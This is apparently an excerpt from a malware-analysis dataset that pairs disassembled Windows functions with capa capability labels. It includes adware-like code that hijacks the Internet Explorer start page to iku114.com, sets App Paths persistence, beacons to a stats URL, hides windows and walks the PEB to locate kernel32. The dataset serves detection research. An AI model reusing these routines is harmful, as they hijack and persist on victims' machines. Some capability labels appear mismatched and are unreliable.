joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409ad0
Capabilities:
Check if file exists
Create process on windows
Hide graphical window

Disassembly:
sub esp, 0x464
push esi
mov esi, ecx
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5e]
mov word [esp + 0x5c], 0
mov word [esp + 0x264], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x266]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x264]
mov edi, 0x104
lea eax, [esp + 0x264]
sub edx, ecx
mov cx, word [edx + eax]
test cx, cx
je 0x409b4b
mov word [eax], cx
add eax, 2
dec edi
jne 0x409b37
jmp 0x409b4f
test edi, edi
jne 0x409b52
sub eax, 2
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edx, [esp + 0x264]
push 0x4195c0
push edx
mov word [eax], 0
call edi
lea eax, [esp + 0x5c]
push 0x4195e4
push eax
call edi
lea ecx, [esp + 0x5c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409c4c
xor edx, edx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], edx
lea eax, [esp + 8]
mov dword [esp + 0x14], edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x268]
push ecx
push edx
push 0
push 0
push 0
push 0
lea eax, [esp + 0x78]
push 0
push eax
push 0
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x409c4c
push 0x4195e0
push str.start
lea ecx, [esi + 0x220]
call fcn.0040d4f0
mov ecx, dword [esi + 4]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push ecx
call edi
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x409c4c
mov eax, dword [esi + 0x4c]
test eax, eax
jne 0x409c3b
push 2
mov ecx, esi
call fcn.004098f0
pop edi
pop esi
add esp, 0x464
ret
mov eax, dword [esi + 4]
push 5
push eax
call edi
pop edi
pop esi
add esp, 0x464
ret
push 0x4195e0
push str.error
lea ecx, [esi + 0x220]
call fcn.0040d4f0
push 0x10
push ecx
mov ecx, esp
push 0x80
call fcn.0040b230
push ecx
mov ecx, esp
push 0x81
call fcn.0040b230
mov ecx, dword [esi + 4]
push ecx
call fcn.0040b250
add esp, 0x10
pop edi
pop esi
add esp, 0x464
ret
Function at 0x40a5d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x80c
push ebx
lea eax, [esp + 4]
push esi
xor ebx, ebx
push eax
push 0x2001b
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a6a2
push edi
mov ecx, 0x1ff
lea edi, [esp + 0x1a]
mov word [esp + 0x18], ax
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
stosw word es:[edi], ax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push ebx
push str.Start_Page
push esi
mov dword [esp + 0x28], 0x400
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
pop edi
jne 0x40a697
lea ecx, [esp + 0x14]
push str.http:__www.iku114.com_
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40a65e
mov ebx, 1
mov eax, dword [esp + 0x818]
test eax, eax
je 0x40a697
push str.http:__www.iku114.com_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
push str.http:__www.iku114.com_
push 1
push 0
push str.Start_Page
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40a697
mov ebx, 1
test esi, esi
je 0x40a6a2
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop esi
pop ebx
add esp, 0x80c
ret 4
Function at 0x40a7d0
Capabilities:
Persist via app paths registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x624
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x222]
mov word [esp + 0x220], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x220]
push ecx
push 0x104
push edx
call fcn.0040cbf0
lea eax, [esp + 0x18]
push 0x4195c0
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push ebp
push 0x2001f
push ebp
push ebp
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsZuma.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x38], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebp
jne 0x40a99e
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x42a]
mov word [esp + 0x428], bp
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x14]
push ebx
stosw word es:[edi], ax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x42c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
push ebp
push ebp
push esi
mov dword [esp + 0x2c], 0x104
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40a8e0
lea eax, [esp + 0x224]
lea ecx, [esp + 0x42c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40a91a
lea edx, [esp + 0x224]
push edx
call ebx
lea eax, [eax + eax + 2]
lea ecx, [esp + 0x224]
push eax
push ecx
push 1
push ebp
push ebp
push esi
call edi
lea edx, [esp + 0x1c]
push edx
call ebx
lea eax, [eax + eax + 2]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 1
push ebp
push str.path
push esi
call edi
lea edx, [esp + 0x14]
lea eax, [esp + 0x42c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
push ebp
push str.path
push esi
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40a958
lea edx, [esp + 0x1c]
lea eax, [esp + 0x42c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40a992
lea ecx, [esp + 0x224]
push ecx
call ebx
lea edx, [eax + eax + 2]
lea eax, [esp + 0x224]
push edx
push eax
push 1
push ebp
push ebp
push esi
call edi
lea ecx, [esp + 0x1c]
push ecx
call ebx
lea edx, [eax + eax + 2]
lea eax, [esp + 0x1c]
push edx
push eax
push 1
push ebp
push str.path
push esi
call edi
cmp esi, ebp
pop ebx
je 0x40a99e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x624
ret
Function at 0x40d4f0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x4152e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x419040]
push ebx
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push str.2.0.0.1002
push ecx
push edx
push str.http:__update.iku114.com_stat_stat.html
lea eax, [esp + 0x14]
push str._s_type_sid_sver_s
push eax
mov dword [esp + 0x28], 0
call fcn.0040c3d0
push 0x800
call fcn.0040ef80
mov ebx, eax
add esp, 0x1c
test ebx, ebx
je 0x40d5b6
push esi
push edi
mov ecx, 0x200
xor eax, eax
mov edi, ebx
mov esi, 0x400
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0xc]
mov eax, ebx
mov cx, word [edx]
test cx, cx
je 0x40d57c
mov word [eax], cx
add eax, 2
add edx, 2
dec esi
jne 0x40d566
jmp 0x40d580
test esi, esi
jne 0x40d583
sub eax, 2
lea ecx, [esp + 0x24]
mov word [eax], 0
push ecx
push 0
push ebx
push 0x40d600
push 0
push 0
mov dword [esp + 0x3c], 0
call fcn.0040f530
add esp, 0x18
test eax, eax
pop edi
pop esi
je 0x40d5b6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
mov ecx, dword [0x419044]
mov dword [esp + 0x10], 0xffffffff
pop ebx
lea edx, [eax - 0xc]
cmp edx, ecx
je 0x40d5ee
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x40d5ee
mov eax, dword [esp]
add eax, 0xfffffff4
push eax
call fcn.0040eac0
add esp, 4
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x40d720
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40d73e
test byte [esp], 7
mov eax, 1
jne 0x40d743
call fcn.0040d690
pop ecx
ret
Function at 0x401fe0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x4027c0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov word [ebp - 0x42], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x30]
jae 0x40217f
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x50]
mov dword [ebp - 0x10], 0xffffffff
lea ecx, [ebp - 0x68]
mov dword [esp], eax
call fcn.00402820
sub esp, 4
cmp dword [ebp + 8], 0
jbe 0x402144
cmp dword [ebp + 0xc], 3
jbe 0x402144
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], 0
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 0x14d
call fcn.00401e50
mov dword [ebp - 0x74], eax
jmp 0x4020e3
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x40213f
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp + 0xc]
jne 0x40213a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x24]
mov ecx, dword [ebp - 0x48]
shl ecx, 1
add eax, ecx
mov ax, word [eax]
mov word [ebp - 0x42], ax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x1c]
movzx ecx, word [ebp - 0x42]
shl ecx, 2
add eax, ecx
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x70], 2
jmp 0x402154
jmp 0x40213f
jmp 0x402144
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x68]
call fcn.004028e0
mov eax, dword [ebp - 0x70]
test eax, eax
je 0x402171
jmp 0x40216c
jmp 0x40217f
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x402078
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x38]
add eax, ecx
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4021c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x574c00], eax
pop esi
pop edi
pop ebp
ret
Function at 0x40165c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
test esi, esi
je 0x401695
cmp word [esi], bx
je 0x401695
lea edx, [ebp - 4]
call fcn.004012de
cmp dword [ebp - 4], ebx
je 0x401695
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push dword [ebp - 4]
cmp eax, 0xffffffff
setne bl
call fcn.0040a317
pop ecx
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x401a7c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
push 0x400
mov dword [eax], ebx
mov edi, ecx
movzx eax, dx
push eax
push 0xa
push edi
mov dword [ebp - 8], edi
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov dword [ebp - 4], eax
test eax, eax
je 0x401be6
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x401be6
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401be6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x401be6
push edi
call fcn.0040a31c
mov edx, eax
mov dword [esi], edi
mov eax, dword [ebp + 8]
pop ecx
mov dword [eax], edx
cmp edx, dword [ebp - 4]
je 0x401b16
mov esi, dword [ebp - 4]
mov ecx, edx
sub esi, edx
mov ebx, edi
mov al, byte [esi + ecx]
mov byte [ecx], al
inc ecx
sub ebx, 1
jne 0x401b08
mov esi, dword [ebp + 0xc]
cmp byte [ebp + 0x10], 0
je 0x401be6
cmp edi, 6
jbe 0x401be6
movzx ecx, byte [edx]
movzx eax, byte [edx + 1]
shl ecx, 8
add eax, ecx
movzx ecx, byte [edx + 2]
shl ecx, 8
mov dword [ebp - 4], eax
movzx eax, byte [edx + 3]
add ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
add ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
add ecx, eax
mov dword [ebp - 8], ecx
cmp ecx, 0x7ffffff
ja 0x401be6
mov eax, dword [ebp - 4]
cmp eax, 0x534d
je 0x401b77
cmp eax, 0x736d
jne 0x401be6
lea eax, [edi - 6]
mov dword [esi], eax
test al, 7
jne 0x401be6
push eax
call fcn.0040a31c
mov edi, dword [ebp + 8]
mov ecx, eax
push dword [esi]
mov dword [ebp + 0xc], eax
mov edx, dword [edi]
add edx, 6
call fcn.004028dd
cmp dword [ebp - 4], 0x736d
mov eax, dword [ebp + 0xc]
pop ecx
pop ecx
je 0x401bdf
mov ecx, dword [esi]
mov dl, byte [ecx + eax - 1]
cmp dl, 8
ja 0x401bdf
push dword [ebp - 8]
movzx eax, dl
mov edx, esi
sub ecx, eax
mov dword [esi], ecx
push ecx
lea ecx, [ebp + 0xc]
call fcn.00401010
pop ecx
pop ecx
test al, al
je 0x401bdc
push dword [edi]
call fcn.0040a317
mov eax, dword [ebp + 0xc]
mov dword [edi], eax
jmp 0x401be5
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040a317
pop ecx
mov eax, dword [ebp + 8]
cmp dword [eax], ebx
je 0x401bf3
cmp dword [esi], ebx
jbe 0x401bf3
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x401c5b
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
call fcn.00402d11
mov edi, eax
test edi, edi
je 0x401ce5
push 0x5c
pop ebx
mov edx, edi
xor ecx, ecx
push esi
add edx, 2
je 0x401cda
movzx eax, word [edx]
mov esi, eax
cmp ax, bx
je 0x401c97
test ax, ax
je 0x401c97
inc ecx
movzx eax, word [edx + ecx*2]
cmp ax, bx
jne 0x401c88
lea esi, [edx + ecx*2]
xor ecx, ecx
cmp word [esi], cx
je 0x401cda
test esi, esi
je 0x401cda
movzx eax, word [esi - 2]
cmp eax, 0x3a
je 0x401cd5
cmp ax, bx
je 0x401cd5
xor eax, eax
mov ecx, edi
mov word [esi], ax
call fcn.0040165c
test al, al
jne 0x401cd0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x401cda
mov word [esi], bx
xor ecx, ecx
lea edx, [esi + 2]
jmp 0x401c79
push edi
call fcn.0040a317
mov ebx, dword [ebp - 4]
pop ecx
pop esi
mov ecx, ebx
call fcn.0040165c
pop edi
pop ebx
leave
ret

Function at 0x401cf0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
xor bl, bl
push edi
mov dword [ebp - 4], eax
call fcn.00402a58
mov edi, eax
add edi, 1
je 0x401d4b
push esi
xor ecx, ecx
mov eax, edi
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040a31c
mov ecx, dword [ebp - 4]
mov esi, eax
push edi
mov edx, esi
call fcn.0040130f
pop ecx
pop ecx
test eax, eax
je 0x401d43
test esi, esi
je 0x401d4a
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
push esi
call fcn.0040a317
pop ecx
pop esi
pop edi
mov al, bl
pop ebx
leave
ret
Function at 0x401d51
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes
Move file
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x42b054]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push 0x250
push eax
lea eax, [esp + 0x20]
mov bl, 1
push eax
call fcn.0040bbb0
mov ecx, edi
call fcn.00402a6a
xor ecx, ecx
add eax, 0x104
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040a31c
add esp, 0x10
mov esi, eax
mov edx, 0x104
mov ecx, esi
call fcn.004017a7
test eax, eax
je 0x401dc0
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov edx, edi
mov ecx, esi
call fcn.00402aa9
call fcn.00402a6a
mov edi, eax
test edi, edi
je 0x401efb
push 0x5c
pop eax
cmp word [esi + edi*2 - 2], ax
je 0x401ded
mov word [esi + edi*2], ax
inc edi
xor eax, eax
mov word [esi + edi*2], ax
mov edx, 0x4289f0
call fcn.00402afa
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add edi, edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edi
cmp eax, 0xffffffff
je 0x401ed9
lea eax, [edi + esi]
mov edi, dword [esp + 0x10]
mov dword [esp + 0xc], eax
mov edx, 0x4289f4
lea ecx, [esp + 0x44]
mov bh, bl
call fcn.00402b1c
test eax, eax
je 0x401e50
mov edx, 0x4289f8
call fcn.00402b1c
test eax, eax
je 0x401e50
mov edx, ecx
mov ecx, dword [esp + 0xc]
call fcn.00402aa9
jmp 0x401e59
mov eax, dword [esp + 0xc]
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401e73
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
or edi, 0xffffffff
mov eax, dword [esp + 0xc]
xor ecx, ecx
cmp word [eax], cx
je 0x401ecc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x401e9c
and eax, 0xfffffffe
push eax
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [esp + 0x10]
test al, 0x10
je 0x401eb1
mov ecx, esi
call fcn.00401d51
mov bl, al
neg bl
sbb bl, bl
and bl, bh
jmp 0x401ecc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401ecc
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
neg eax
sbb al, al
and bl, al
cmp edi, 0xffffffff
jne 0x401e21
mov edi, dword [esp + 0x14]
xor eax, eax
push esi
mov word [edi + esi - 2], ax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x401efb
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
neg eax
sbb al, al
and bl, al
push esi
call fcn.0040a317
pop ecx
mov ecx, dword [esp + 0x26c]
mov al, bl
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a309
mov esp, ebp
pop ebp
ret
Function at 0x401f19
Capabilities:
Set current directory

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00402a6a
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040a31c
pop ecx
mov edi, eax
mov edx, esi
mov ecx, edi
call fcn.00402aa9
call fcn.0040295e
test eax, eax
je 0x401f59
xor ecx, ecx
push edi
mov word [eax + 2], cx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push edi
call fcn.0040a317
pop ecx
pop edi
pop esi
ret

Function at 0x401f63
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x42b054]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x44
xor ebx, ebx
mov dword [ebp - 0x60], ecx
lea eax, [ebp - 0x4c]
mov esi, edx
push ebx
push eax
mov dword [ebp - 0x68], esi
call fcn.0040bbb0
and dword [ebp - 8], ebx
lea edi, [ebp - 0x5c]
and dword [ebp - 0x64], ebx
lea edx, [ebp - 0x64]
xor eax, eax
add esp, 0xc
stosd dword es:[edi], eax
mov ecx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004014af
test eax, eax
je 0x4020d2
mov edi, dword [ebp - 0x64]
push 2
pop edx
test edi, edi
je 0x401fe8
mov ecx, edi
call fcn.00402a58
xor ecx, ecx
lea esi, [eax + 1]
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040a31c
mov ebx, eax
mov ecx, edi
push esi
mov edx, ebx
call fcn.0040130f
mov esi, dword [ebp - 0x68]
pop ecx
pop ecx
push edi
call fcn.0040a317
pop ecx
test ebx, ebx
je 0x4020d2
mov edi, dword [ebp - 0x60]
mov ecx, edi
call fcn.00401f19
xor eax, eax
mov dword [ebp - 0x4c], 0x44
mov ecx, esi
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], ax
call fcn.00402a58
mov ecx, edi
mov esi, eax
call fcn.00402a6a
add esi, 4
xor ecx, ecx
push 2
add eax, esi
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040a31c
mov esi, eax
mov edx, 0x428a00
pop ecx
mov ecx, esi
mov dword [ebp - 0x60], esi
call fcn.00402aa9
mov edx, edi
call fcn.00402afa
mov edx, 0x428a04
mov ecx, esi
call fcn.00402afa
mov edx, ebx
mov ecx, esi
call fcn.00402afa
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4020c4
push dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x4020af
cmp dword [ebp - 8], 0x103
jne 0x4020bc
push 0x3e7
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x5c]
call edi
test eax, eax
jne 0x40209b
push dword [ebp - 0x5c]
call esi
mov esi, dword [ebp - 0x60]
push esi
call fcn.0040a317
push ebx
call fcn.0040a317
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a309
leave
ret
Function at 0x407900
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x40790c
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.00407920

Function at 0x40a120
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x40a145
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x40a15d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x40a18c
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x40a1ce
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x40a2a2
sub edx, 0x10000
js 0x40a2a2
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x40a1b4
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x40a1b4
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x40a225
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x40a222
add edx, 8
jne 0x40a209
jmp 0x40a293
add edx, 4
test eax, 0xffff
jne 0x40a232
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x40a293
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x40a266
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x40a1b4
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x40a2a2
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x40a1b4
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x40a2b3
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret